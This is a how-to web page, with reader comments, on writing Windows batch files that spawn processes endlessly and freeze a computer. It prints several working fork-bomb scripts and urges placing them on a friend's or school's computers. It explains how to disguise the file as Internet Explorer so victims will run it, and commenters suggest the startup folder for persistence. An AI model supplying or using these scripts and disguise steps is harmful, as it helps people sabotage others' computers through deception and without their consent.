How to Crash Your Computer


293,370

22

63

Very Simple . . .

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Just Go to Notepad

Just go to notepad (start>all programs>accessories>notepad) and type exactly this script btween the lines:
___________________________________________________________________@echo off:crashstartgoto crash___________________________________________________________________

Step 2: Save As .bat

goto file>save as>crash.bat
and save! But remember when you open this file command prompt windows will open until the computer crashes or freezes so it would be better if you placed this on a friend's or the school's computers.

Step 3: Different Variations

There are different scripts that you can write in notepad to get a batch file with similar reactions.
such as:
________________@echo off:startstart %0goto start_________________or_________________@echo off:1start iexplore.exegoto 1_________________or_________________@echo off:foldermd *goto folder_________________or_________________@echo off:1startecho Windows is now crashing . . .goto 1_________________

Step 4: Disguise It

When you place this file on someone else's computer you have to make the file look persuasive to click on desktop. So find the crash.bat file in documents or all files, right-click it>send to>desktop(create shortcut). Now find it on your desktop>right click>properties>change icon>change it to nternet explorer icon>apply>exit. Right click it again>rename>rename to: Internet Explorer

Step 5: Recovering From the Crash

To recover your desktop (PC) from this just directly pull the plugs from your PC and put the plugs back in and start it up again or just hold the power button on your PC until it turns off and restart again.
I'm not sure about how to recover from this with labtops.

Be the First to Share

    Recommendations

    • Assistive Tech Contest

      Assistive Tech Contest
    • Reuse Contest

      Reuse Contest
    • Made with Math Contest

      Made with Math Contest

    63 Discussions

    0
    None
    thatBishhhhh

    2 years ago

    when you look in the comments and hope to find a crash file to crash your schools computer xD

    0
    None
    ShawnB127

    2 years ago

    it's not working !!!!!!!!!!!!!!! ;(

    0
    None
    RaduI6

    3 years ago

    IMMA BEAT YOU ALL. I HAVE WINDOWS 10!!!!!!!!!

    0
    None
    SWMinyoMH9

    Reply 4 years ago

    Xp FOREVER!!! CHARGE!!!

    0
    None
    SWMinyoschmitty

    Reply 4 years ago

    AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!AMEN!!! AMEN!!!AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!! AMEN!!!

    0
    None
    fwjs28schmitty

    Reply 10 years ago on Introduction

    thats not the point...this is forkbomb.....it would still crash a supercomputer given enough time.....

    0
    None
    Chad Baxterfwjs28

    Reply 7 years ago on Introduction

    the time it would take to crash a supercomputer with 2,000 blades is like a year or something

    0
    None
    ArmanA7

    4 years ago

    If you REALLY want to mess with the victim,just put the bat file in the windows startup folder!!

    1 reply
    0
    None
    SWMinyoArmanA7

    Reply 4 years ago

    Wow. People would really get mad. The only way to fix this would be to go into the BIOS and change the start up files. Most people would wind up taking his or her computer to a repair shop. Make sure to tell them before they do. =)

    0
    None
    dkdannyblue9

    4 years ago on Introduction

    Laptops , and whats the exact script for windows 8.1 as this does not work for windows 8.1

    0
    None

    Or instead of unplugging the PC, simply fast type ctrl c, the command prompt will stop and ask you if you want to terminate the processing, type y and enter :D no more crashed computers.

    0
    None
    iraqniphobia

    11 years ago on Introduction

    You can just hold down the power button. Really no need to pull the cord. and couldn't you just hit ctrl+c to stop the batch file whenever?